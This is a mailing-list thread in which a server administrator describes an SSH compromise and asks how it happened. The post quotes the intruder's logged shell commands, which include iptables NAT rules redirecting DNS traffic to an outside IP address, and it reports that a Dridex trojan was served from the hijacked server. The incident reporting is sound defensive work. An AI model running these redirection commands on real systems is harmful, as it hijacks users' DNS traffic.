Was all the logins attempts over SSH or the WordPress software? Are you
sure they did not gain access some other way, found the password and then
logged in again over SSH?
This white paper that covers the malware you mentioned says that the main
infection method is by phising the administrator. See page 4. You should
probably run a scan on your other devices as well.
Earlier this month, a Greek IP address failed to login
to five WordPress
sites on two of my servers - not on BitFolk. One attempt each on four
sites, and seven on another spread over several days.
On Tuesday last week, it was blocked for 24 hours by both of them after
five failed attempts to login via ssh.
On Wednesday, it succeeded on one of them. Given the strength of the
password, the fact that it's not used (by me) anywhere else, and the chance
of doing this by random, I would quite like to know *how*.
I did login over ssh that day via my mobile, but there is no sign that my
phone is compromised - I logged into three other servers that day, and none
of them have seen this happen. Similarly, if my PC had an issue, I would
expect the other servers to be affected.
I would be wondering about the other people who know the password for this
one except that if it knew the password, why did the IP address fail the
previous day?
Two other 'not me' IP addresses have also since managed it, most recently
on Sunday.
What I can see that they did was firstly...
netstat -napu
cat /etc/resolv.conf
cat /etc/bind/named.conf.default-zones
ifconfig
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination
176.9.74.8:10054
iptables -t nat -A POSTROUTING -p udp -j MASQUERADE
iptables -t nat -L -v -n
iptables -t nat -L -v -n
ifconfig
iptables -L -v -n -x
iptables -I OUTPUT -p udp --sport 53 -j ACCEPT
iptables -I OUTPUT -p udp --dport 53 -j ACCEPT
iptables -L -v -n -x
exit
netstat -napu
exit
.. which, if I understand it correctly, is redirecting DNS requests to
that IP address (various sites reckon that's a site in Germany,
chipmanuals.com, apparently owned by someone in Tbilisi, Georgia...)
Secondly, on Sunday various files were placed in /tmp/.estbuild including
a copy of nginx.
This seems to have been serving a version of the Dridex trojan in the form
of a Windows .exe file from (domain name)/uniq/* before passing the request
onto Apache to 404 the /uniq/ URLs. Fortunately, because of how it was set
up, only requests to the server's own domain name were affected and it
looks like that only had about three human visitors in that time, one of
whom complained.
Obviously more could have happened - there's nothing else odd in various
log files, but clearly they cannot be completely trusted.
On the plus side, this was the server that was first in my queue to
replace with one running Debian Jessie, and it has been ten years since
anything like this has happened to me,* but grrr...
Ian
* The person who ended up being the boss of a former workplace opened an
executable attachment in an email both 'to' and 'from' them that they
knew
they hadn't sent, but they "wanted to know what it was..."
_______________________________________________
users mailing list
users(a)lists.bitfolk.com
https://lists.bitfolk.com/mailman/listinfo/users